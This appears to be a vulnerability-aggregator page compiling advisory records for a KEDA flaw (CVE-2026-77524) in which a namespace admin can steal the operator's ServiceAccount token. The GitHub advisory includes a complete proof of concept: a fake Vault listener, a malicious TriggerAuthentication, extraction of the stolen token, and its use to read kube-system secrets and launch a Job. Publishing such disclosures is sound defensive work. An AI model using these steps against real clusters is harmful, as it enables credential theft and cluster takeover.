KEDA: Privilege escalation from namespace admin to cluster admin via KEDA TriggerAuthentication
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-77524
PublishedKEDA is a Kubernetes-based Event Driven Autoscaling component. In version 2.20.2 and earlier, a namespace administrator who can create TriggerAuthentication and ScaledObject resources can set hashiCorpVault.address to a tenant-controlled endpoint and select Kubernetes authentication without an explicit credential. KEDA then uses the operator pod's projected ServiceAccount token and sends it to that endpoint as a Vault login credential. The JWT-shape filter from the prior CVE-2025-68476 remediation accepts the operator token because its subject is a Kubernetes ServiceAccount, so the attacker can obtain the operator's cluster-wide permissions, including broad Secret reads and workload or admission-related operations. This vulnerability is fixed in 2.21.0.
- Source published
- 14 Oct 2026 16:15:15 UTC
- Source modified
- 20 Oct 2026 01:39:03 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
euvd · EUVD-2026-101431
PublishedKEDA is a Kubernetes-based Event Driven Autoscaling component. In version 2.20.2 and earlier, a namespace administrator who can create TriggerAuthentication and ScaledObject resources can set hashiCorpVault.address to a tenant-controlled endpoint and select Kubernetes authentication without an explicit credential. KEDA then uses the operator pod's projected ServiceAccount token and sends it to that endpoint as a Vault login credential. The JWT-shape filter from the prior CVE-2025-68476 remediation accepts the operator token because its subject is a Kubernetes ServiceAccount, so the attacker can obtain the operator's cluster-wide permissions, including broad Secret reads and workload or admission-related operations. This vulnerability is fixed in 2.21.0.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Oct 14, 2026, 4:15:15 PM
dateUpdated: Oct 20, 2026, 1:39:03 AM
1 related source bulletins · separate from aliases
msrc_CVE-2026-77524: KEDA: Privilege escalation from namespace admin to cluster admin via KEDA TriggerAuthentication
CVE-2026-77524
- Source published
- Oct 14, 2026, 4:15:15 PM (timezone not stated)
- Source modified
- Oct 20, 2026, 1:39:03 AM (timezone not stated)
- Observed here
- 7 Nov 2026 14:29:59 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
nvd · CVE-2026-77524
PublishedKEDA is a Kubernetes-based Event Driven Autoscaling component. In version 2.20.2 and earlier, a namespace administrator who can create TriggerAuthentication and ScaledObject resources can set hashiCorpVault.address to a tenant-controlled endpoint and select Kubernetes authentication without an explicit credential. KEDA then uses the operator pod's projected ServiceAccount token and sends it to that endpoint as a Vault login credential. The JWT-shape filter from the prior CVE-2025-68476 remediation accepts the operator token because its subject is a Kubernetes ServiceAccount, so the attacker can obtain the operator's cluster-wide permissions, including broad Secret reads and workload or admission-related operations. This vulnerability is fixed in 2.21.0.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Awaiting Analysis
Weakness classifications: CWE-269 · CWE-918
Original publisher date fields
published: 2026-10-14T17:19:11.147
lastModified: 2026-10-20T02:17:11.973
- Source published
- 14 Oct 2026 17:19:11 UTC
- Source modified
- 20 Oct 2026 02:17:11 UTC
- Observed here
- 25 Oct 2026 16:19:04 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 3.1 · [email protected] · Secondary · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
osv · GHSA-637c-6jxx-4rwm
Published## Summary A namespace admin who creates a `TriggerAuthentication` and a `ScaledObject` in their own namespace can make the KEDA operator send its own ServiceAccount token to a tenant-controlled URL. That token holds `["*"]/["*"] get` cluster-wide, so it reads every Secret in every namespace, plus `batch/jobs` and `horizontalpodautoscalers` create/delete cluster-wide, `*/scale` update on any workload, `validatingwebhookconfigurations` update (rewrite or disable cluster admission), and `apiservices` update (hijack aggregated API routing). This is effectively privilege escalation from namespace admin to cluster admin in real environments: a cluster-wide Secret read alone is enough to find a token for a more privileged ServiceAccount, and the cluster-wide `batch/jobs` create lets the attacker run a workload in any namespace whose Pod Security Admission level permits it (or that is PSA-exempt, such as `kube-system` , `kyverno`) to reach the node filesystem and a control-plane kubeconfig. This is an incomplete fix of CVE-2025-68476: its content filter only requires the loaded file to be a JWT whose subject begins with `system:serviceaccount:`, which the operator's own projected token satisfies by construction. The destination field `hashiCorpVault.address` is unvalidated. Finder credits: Artem Cherezov @cherez0ff, with Claude Opus 4.8 ## Verified live kind v1.31.2, kedacore/keda v2.20.0 (latest at the time of audit, <https://github.com/kedacore/keda>) installed from the unmodified release manifest `keda-2.20.0.yaml` (`ghcr.io/kedacore/keda:2.20.0`), default settings. ## Preconditions 1. The tenant holds `create` on `triggerauthentications.keda.sh` and `scaledobjects.keda.sh` in its own namespace (the documented KEDA tenant workflow), plus the built-in `edit` ClusterRole in that namespace. Often granted by a namespaced admin Role (`--verb='*' --resource='*.*'`) in multi-tenant environments. 2. KEDA is installed with default settings. ## Reproduction ### Cluster preparation (not part of the attack) ```sh kind create cluster --image kindest/node:v1.31.2 --name keda-poc --kubeconfig ./kubeconfig export KUBECONFIG=./kubeconfig # Install KEDA v2.20.0 (unmodified vendor release manifest). curl -sSL -o keda-2.20.0.yaml https://github.com/kedacore/keda/releases/download/v2.20.0/keda-2.20.0.yaml kubectl apply --server-side -f keda-2.20.0.yaml kubectl wait --for=condition=Established crd/triggerauthentications.keda.sh crd/scaledobjects.keda.sh --timeout=120s kubectl -n keda rollout status deploy/keda-operator --timeout=180s # Tenant identity: namespace admin in tenant-a. kubectl create namespace tenant-a kubectl -n tenant-a create serviceaccount tenant kubectl -n tenant-a create rolebinding tenant-edit --clusterrole=edit --serviceaccount=tenant-a:tenant kubectl -n tenant-a create role tenant-keda --verb=create,get --resource=triggerauthentications.keda.sh,scaledobjects.keda.sh kubectl -n tenant-a create rolebinding tenant-keda --role=tenant-keda --serviceaccount=tenant-a:tenant # Mint a tenant kubeconfig from a real TokenRequest token. SERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}') CA=$(kubectl config view --minify --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}') TOKEN=$(kubectl -n tenant-a create token tenant --duration=24h) cat > kubeconfig-tenant <<EOF apiVersion: v1 kind: Config clusters: - name: kind cluster: { server: ${SERVER}, certificate-authority-data: ${CA} } contexts: - name: tenant context: { cluster: kind, user: tenant, namespace: tenant-a } current-context: tenant users: - name: tenant user: { token: ${TOKEN} } EOF # Seed a "secret" canary in kube-system to make impact self-evident. kubectl -n kube-system create secret generic poc-canary --from-literal=canary=KEDA-F1-CANARY-7f3a9c2e ``` ### Attack 1. Deploy a listener in the tenant namespace that impersonates a HashiCorp Vault server. It logs the login request body and replies with a well-formed Vault auth envelope. The KEDA operator uses the Vault Go client, which issues the login as an HTTP `PUT`, so the listener must accept all methods. ```sh kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF' apiVersion: v1 kind: ConfigMap metadata: { name: fake-vault-src, namespace: tenant-a } data: vault.py: | import http.server, socketserver, sys, json class H(http.server.BaseHTTPRequestHandler): def log_message(self,*a): pass def _h(self): ln=int(self.headers.get('Content-Length') or 0) body=self.rfile.read(ln) if ln else b'' sys.stdout.write("VAULT-LOGIN %s %s\n%s\n"%(self.command,self.path,body.decode('utf-8','replace'))); sys.stdout.flush() r=json.dumps({"auth":{"client_token":"s.poc","lease_duration":3600,"renewable":True,"policies":["default"]}}).encode() self.send_response(200); self.send_header("Content-Type","application/json"); self.send_header("Content-Length",str(len(r))); self.end_headers(); self.wfile.write(r) do_GET=do_POST=do_PUT=do_DELETE=do_OPTIONS=do_HEAD=_h socketserver.TCPServer.allow_reuse_address=True with socketserver.TCPServer(("0.0.0.0",8200),H) as s: s.serve_forever() --- apiVersion: v1 kind: Pod metadata: { name: fake-vault, namespace: tenant-a, labels: { app: fake-vault } } spec: containers: - name: vault image: python:3.12-slim@sha256:090ba77e2958f6af52a5341f788b50b032dd4ca28377d2893dcf1ecbdfdfe203 command: ["python3","/src/vault.py"] volumeMounts: [{ name: src, mountPath: /src }] volumes: [{ name: src, configMap: { name: fake-vault-src } }] --- apiVersion: v1 kind: Service metadata: { name: fake-vault, namespace: tenant-a } spec: selector: { app: fake-vault } ports: [{ port: 8200, targetPort: 8200 }] EOF kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a wait --for=condition=Ready pod/fake-vault --timeout=120s ``` 2. Create the `TriggerAuthentication` (the primitive) and a `ScaledObject` with a `cron` trigger referencing it. With `authentication: kubernetes` and no `credential` block, KEDA defaults `credential.serviceAccount` to the operator pod's own token path. ```sh kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<'EOF' apiVersion: keda.sh/v1alpha1 kind: TriggerAuthentication metadata: { name: vault-auth, namespace: tenant-a } spec: hashiCorpVault: address: http://fake-vault.tenant-a.svc:8200 # tenant-controlled destination, no validation authentication: kubernetes mount: kubernetes role: poc secrets: - { parameter: anything, key: anything, path: secret/data/anything } --- apiVersion: keda.sh/v1alpha1 kind: ScaledObject metadata: { name: poc-so, namespace: tenant-a } spec: scaleTargetRef: { name: poc-target } pollingInterval: 5 minReplicaCount: 0 maxReplicaCount: 2 triggers: - type: cron metadata: { timezone: UTC, start: "0 * * * *", end: "30 * * * *", desiredReplicas: "1" } authenticationRef: { name: vault-auth } --- apiVersion: apps/v1 kind: Deployment metadata: { name: poc-target, namespace: tenant-a } spec: replicas: 1 selector: { matchLabels: { app: poc-target } } template: metadata: { labels: { app: poc-target } } spec: containers: [{ name: pause, image: registry.k8s.io/pause:3.10 }] EOF ``` 3. The operator reconciles the `ScaledObject`, builds the scaler, resolves the `authenticationRef`, and PUTs its own ServiceAccount token to the listener as the Vault login body. Read it back: ```sh sleep 20 kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault | grep -A1 'VAULT-LOGIN PUT' # VAULT-LOGIN PUT /v1/auth/kubernetes/login # {"jwt":"eyJhbGciOiJSUzI1NiIs...","role":"poc"} ``` 4. Build a kubeconfig from the stolen token and use it. The token authenticates as the operator ServiceAccount and reads the kube-system Secret the tenant could not read directly: ```sh STOLEN=$(kubectl --kubeconfig=./kubeconfig-tenant -n tenant-a logs pod/fake-vault \ | sed -n 's/.*"jwt":"\([^"]*\)".*/\1/p' | head -1) cat > kubeconfig-stolen <<EOF apiVersion: v1 kind: Config clusters: - name: kind cluster: { server: ${SERVER}, certificate-authority-data: ${CA} } contexts: - name: stolen context: { cluster: kind, user: stolen } current-context: stolen users: - name: stolen user: { token: ${STOLEN} } EOF kubectl --kubeconfig=./kubeconfig-stolen auth whoami # Username system:serviceaccount:keda:keda-operator kubectl --kubeconfig=./kubeconfig-stolen -n kube-system get secret poc-canary -o jsonpath='{.data.canary}' | base64 -d # KEDA-F1-CANARY-7f3a9c2e # The token also creates workloads cluster-wide via batch/jobs; a Job lands a pod in kube-system. kubectl --kubeconfig=./kubeconfig-stolen -n kube-system create job pwn --image=busybox -- sh -c 'sleep 60' # job.batch/pwn created kubectl --kubeconfig=./kubeconfig-stolen -n kube-system get pods -l job-name=pwn # pwn-q5j5s 1/1 Running 0 8s ``` ## Root cause A namespace tenant should not be able to make the operator authenticate to a tenant-controlled server using the operator's own cluster-privileged identity. The destination address is fully tenant-controlled and unvalidated, and the credential the operator presents defaults to its own ServiceAccount token. The content filter added for the prior arbitrary-file-read advisory checks only that the loaded bytes look like a Kubernetes ServiceAccount token, which is exactly the shape of the operator's own token, so it does not constrain the credential to one the tenant is entitled to use.
- Source published
- 15 Oct 2026 20:19:42 UTC
- Source modified
- 19 Oct 2026 21:40:44 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Publisher rating · CRITICAL
osv · GO-2026-6776
PublishedKEDA: Privilege escalation from namespace admin to cluster admin via KEDA TriggerAuthentication in github.com/kedacore/keda
- Source published
- 19 Oct 2026 21:08:35 UTC
- Source modified
- 19 Oct 2026 21:31:49 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.